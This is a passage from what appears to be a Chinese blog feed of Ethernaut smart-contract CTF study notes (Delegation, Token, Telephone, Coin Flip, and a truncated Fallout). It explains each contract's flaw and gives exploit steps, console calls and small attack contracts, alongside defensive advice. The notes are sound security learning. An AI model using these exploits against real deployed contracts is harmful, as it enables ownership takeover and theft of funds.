class="string">"0xdd365b8b"</span> })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>计算或记下 <code>pwn()</code> selector:<code>0xdd365b8b</code>。</li><li>向实例发送一笔 calldata 为 <code>0xdd365b8b</code> 的交易。</li><li>fallback delegatecall 到 Delegate,实际覆盖 Delegation 的 slot0 owner。</li><li>确认 <code>owner()</code> 变成玩家地址并提交。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:delegatecall 的危险点在于代码来自别处,但状态是自己的。</li><li>防御建议:只 delegatecall 到可信、固定、存储布局兼容的实现;升级代理要严格控制实现地址。</li><li>拓展:代理模式、库合约和 upgradeable 合约都大量依赖 delegatecall,审计时必须检查目标地址可控性与 storage layout。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/SJSC5T6Vp" >https://hackmd.io/@0xbc000/SJSC5T6Vp<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 05:Token</title>
<link href="https://kylinxin.github.io/2026/05/06/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2005%EF%BC%9AToken/"/>
<id>https://kylinxin.github.io/2026/05/06/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2005%EF%BC%9AToken/</id>
<published>2026-05-06T01:00:00.000Z</published>
<updated>2026-05-06T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 5 - Token</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>让玩家持有的 Token 数量超过初始 20。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>无符号整数下溢</li><li>Solidity 0.6 算术行为</li><li>余额检查顺序</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.6</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Token</span> {</span><br><span class="line"></span><br><span class="line"> <span class="title function_">mapping</span>(<span class="function"><span class="params">address</span> =></span> uint) balances;</span><br><span class="line"> uint public totalSupply;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">uint _initialSupply</span>) public {</span><br><span class="line"> balances[msg.<span class="property">sender</span>] = totalSupply = _initialSupply;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">transfer</span>(<span class="params">address _to, uint _value</span>) public <span class="title function_">returns</span> (bool) {</span><br><span class="line"> <span class="built_in">require</span>(balances[msg.<span class="property">sender</span>] - _value >= <span class="number">0</span>);</span><br><span class="line"> balances[msg.<span class="property">sender</span>] -= _value;</span><br><span class="line"> balances[_to] += _value;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">balanceOf</span>(<span class="params">address _owner</span>) public view <span class="title function_">returns</span> (uint balance) {</span><br><span class="line"> <span class="keyword">return</span> balances[_owner];</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>漏洞在 <code>transfer</code> 的检查:<code>require(balances[msg.sender] - _value >= 0)</code>。</li><li><code>balances[msg.sender]</code> 是 <code>uint</code>,在 Solidity 0.6 中无下溢检查。当余额 20 转出 21 时,<code>20 - 21</code> 不会报错,而是回绕成一个极大的无符号整数。</li><li>无符号整数永远大于等于 0,所以 require 通过。随后 <code>balances[msg.sender] -= _value</code> 再次下溢,玩家余额变成极大值。</li><li>Solidity 0.8 默认会检查算术上下溢;旧版本必须用 SafeMath 或显式 <code>require(balance >= amount)</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level05-token-underflow.png" alt="转出 21 个 token 后余额发生下溢回绕的记录。" ><figcaption>转出 21 个 token 后余额发生下溢回绕的记录。</figcaption></figure></p><p>图注:转出 21 个 token 后余额发生下溢回绕的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>初始余额为 20。</li><li><code>transfer</code> 里先检查 <code>balances[msg.sender] - value >= 0</code>,但无符号整数下溢后会变成极大值。</li><li>转出 21 个代币即可让余额回绕。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">balanceOf</span>(player)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">transfer</span>(instance, <span class="number">21</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">balanceOf</span>(player)</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>查看初始余额:<code>balanceOf(player)</code> 应为 20。</li><li>调用 <code>transfer(instance, 21)</code>,转出比余额多 1 的数量。</li><li>再次查看余额,看到余额回绕为极大值。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:无符号整数永远不小于 0,配合旧编译器的回绕行为会让检查失效。</li><li>防御建议:使用 Solidity 0.8+ 或 SafeMath;扣减前显式检查 <code>balance >= amount</code>。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/ryKHlS34p" >https://hackmd.io/@0xbc000/ryKHlS34p<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 04:Telephone</title>
<link href="https://kylinxin.github.io/2026/05/05/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ATelephone/"/>
<id>https://kylinxin.github.io/2026/05/05/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ATelephone/</id>
<published>2026-05-05T01:00:00.000Z</published>
<updated>2026-05-05T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 4 - Telephone</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>利用 <code>tx.origin</code> 与 <code>msg.sender</code> 的差异接管 Telephone owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li><code>tx.origin</code> 与 <code>msg.sender</code> 区别</li><li>中间合约绕过</li><li>钓鱼式授权风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Telephone</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">changeOwner</span>(<span class="params">address _owner</span>) public {</span><br><span class="line"> <span class="keyword">if</span> (tx.<span class="property">origin</span> != msg.<span class="property">sender</span>) {</span><br><span class="line"> owner = _owner;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>tx.origin</code> 是整笔交易最初的外部账户,<code>msg.sender</code> 是当前这一层调用的直接调用者。</li><li>如果玩家直接调用 <code>changeOwner</code>,两者相等,条件不成立。</li><li>如果玩家先调用攻击合约,再由攻击合约调用 Telephone,那么 Telephone 中看到的 <code>tx.origin</code> 是玩家,<code>msg.sender</code> 是攻击合约,条件成立。</li><li>这类模式在真实合约中很危险,因为用户可能被诱导调用恶意合约,恶意合约再拿用户的 <code>tx.origin</code> 去通过受害合约鉴权。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level04-telephone-owner.png" alt="通过中间合约调用后 owner 被替换的记录。" ><figcaption>通过中间合约调用后 owner 被替换的记录。</figcaption></figure></p><p>图注:通过中间合约调用后 owner 被替换的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署中间攻击合约。</li><li>用钱包调用攻击合约;此时目标合约看到的 <code>msg.sender</code> 是攻击合约,<code>tx.origin</code> 是玩家。</li><li>攻击合约再调用目标的 <code>changeOwner(player)</code>。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">interface <span class="title class_">ITelephone</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">changeOwner</span>(<span class="params">address newOwner</span>) external;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">TelephoneAttack</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params">address instance, address player</span>) external {</span><br><span class="line"> <span class="title class_">ITelephone</span>(instance).<span class="title function_">changeOwner</span>(player);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署一个中间攻击合约。</li><li>攻击合约中调用 <code>Telephone(instance).changeOwner(player)</code>。</li><li>用玩家钱包调用攻击合约,而不是直接调用 Telephone。</li><li>确认 <code>owner()</code> 变成玩家地址并提交。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:<code>tx.origin</code> 用于鉴权会产生钓鱼攻击面。</li><li>防御建议:权限判断使用 <code>msg.sender</code>,复杂授权使用签名、角色或明确的访问控制模块。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/HkI4o9o46" >https://hackmd.io/@0xbc000/HkI4o9o46<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 03:Coin Flip</title>
<link href="https://kylinxin.github.io/2026/05/04/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ACoin%20Flip/"/>
<id>https://kylinxin.github.io/2026/05/04/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ACoin%20Flip/</id>
<published>2026-05-04T01:00:00.000Z</published>
<updated>2026-05-04T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 3 - Coin Flip</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>连续猜中 10 次 CoinFlip 的结果。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>伪随机数可预测</li><li>区块哈希读取</li><li>同交易复现目标计算</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">CoinFlip</span> {</span><br><span class="line"></span><br><span class="line"> uint256 public consecutiveWins;</span><br><span class="line"> uint256 lastHash;</span><br><span class="line"> uint256 <span class="variable constant_">FACTOR</span> = <span class="number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> consecutiveWins = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">flip</span>(<span class="params">bool _guess</span>) public <span class="title function_">returns</span> (bool) {</span><br><span class="line"> uint256 blockValue = <span class="title function_">uint256</span>(<span class="title function_">blockhash</span>(block.<span class="property">number</span> - <span class="number">1</span>));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (lastHash == blockValue) {</span><br><span class="line"> <span class="title function_">revert</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> lastHash = blockValue;</span><br><span class="line"> uint256 coinFlip = blockValue / <span class="variable constant_">FACTOR</span>;</span><br><span class="line"> bool side = coinFlip == <span class="number">1</span> ? <span class="literal">true</span> : <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (side == _guess) {</span><br><span class="line"> consecutiveWins++;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> consecutiveWins = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>合约把 <code>blockhash(block.number - 1)</code> 转成整数,再除以固定 <code>FACTOR</code>,得到 0 或 1。这个结果对链上所有合约都是公开可计算的。</li><li>攻击合约与目标合约在同一笔交易中读取同一个上一块区块哈希,因此可以先在攻击合约中复现同样公式,再把答案传给 <code>flip</code>。</li><li><code>lastHash</code> 会阻止同一区块重复调用,所以不能在一个区块内循环刷 10 次;需要等待新区块后多次执行攻击函数。</li><li>这关考察的是链上伪随机数问题:矿工、验证者、合约调用者都可能预测或影响简单链上随机源。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>阅读合约可知结果由上一块区块哈希除以固定因子得到。</li><li>部署攻击合约,在同一交易内复现目标合约的计算。</li><li>把计算出的布尔值传给 <code>flip</code>,每个新区块调用一次,累计 10 次。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">interface <span class="title class_">ICoinFlip</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">flip</span>(<span class="params">bool guess</span>) external <span class="title function_">returns</span> (bool);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">CoinFlipAttack</span> {</span><br><span class="line"> uint256 constant <span class="variable constant_">FACTOR</span> =</span><br><span class="line"> <span class="number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;</span><br><span class="line"> <span class="title class_">ICoinFlip</span> target;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address instance</span>) {</span><br><span class="line"> target = <span class="title class_">ICoinFlip</span>(instance);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params"></span>) external {</span><br><span class="line"> uint256 v = <span class="title function_">uint256</span>(<span class="title function_">blockhash</span>(block.<span class="property">number</span> - <span class="number">1</span>)) / <span class="variable constant_">FACTOR</span>;</span><br><span class="line"> target.<span class="title function_">flip</span>(v == <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署攻击合约,保存目标实例地址。</li><li>攻击函数中计算 <code>uint256(blockhash(block.number - 1)) / FACTOR</code>。</li><li>把计算得到的布尔值传给目标 <code>flip(guess)</code>。</li><li>跨 10 个新区块重复调用,直到 <code>consecutiveWins()</code> 为 10。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点:如果攻击合约和目标合约在同一交易中读取相同区块数据,攻击者就能得到同一个“随机”结果。</li><li>防御建议:使用 commit-reveal、VRF 或可信随机数预言机;不要把可公开计算的链上数据当随机源。</li><li>拓展:生产环境随机数可以考虑 commit-reveal、VRF 或可信随机数预言机,不能只取区块哈希。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料:<a class="link" href="https://hackmd.io/@0xbc000/SyLFCqoNp" >https://hackmd.io/@0xbc000/SyLFCqoNp<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库:<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 02:Fallout</title>
<link href="https://kylinxin.github.io/2026/05/03/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AFallout/"/>
<id>https://kylinxin.github.io/2026/05/03/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AFallout/</id>
<published>2026-05-03T01:00:00.000Z</published>
<updated>2026-05-03T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记,用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点,方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡:Level 2 - Fallout</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>利用构造函数拼写错误,获得 Fallout 合约 owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>构造函数历史写法</li><li>函数名拼写错误</li><li>public 初始化函数风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.6</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">'openzeppelin-contracts-06/math/SafeMath.sol'</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Fallout</span> {</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">using</span> <span class="title class_">SafeMath</span> <span class="keyword">for</span> uint256;</span><br><span class="line"> <span class="title function_">mapping</span> (<span class="function"><span class="params">address</span> =></span> uint) allocations;</span><br><span class="line"> address payable public owner;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* constructor */</span></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">Fal1out</span>(<span class="params"></span>) public payable {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> allocations[owner] = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier onlyOwner {</span><br><span class="line"> <span class="built_in">require</span>(</span><br><span class="line"> msg.<span class="property">sender</span> == owner,</span><br><span class="line"> <span class="string">"caller is not the owner"</span></span><br><span class="line"> );</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">allocate</span>(<span class="params"></span>) public payable {</span><br><span class="line"> allocations[msg.<span class="property">sender</span>] = allocations[msg.<span class="property">sender</span>].<span class="title 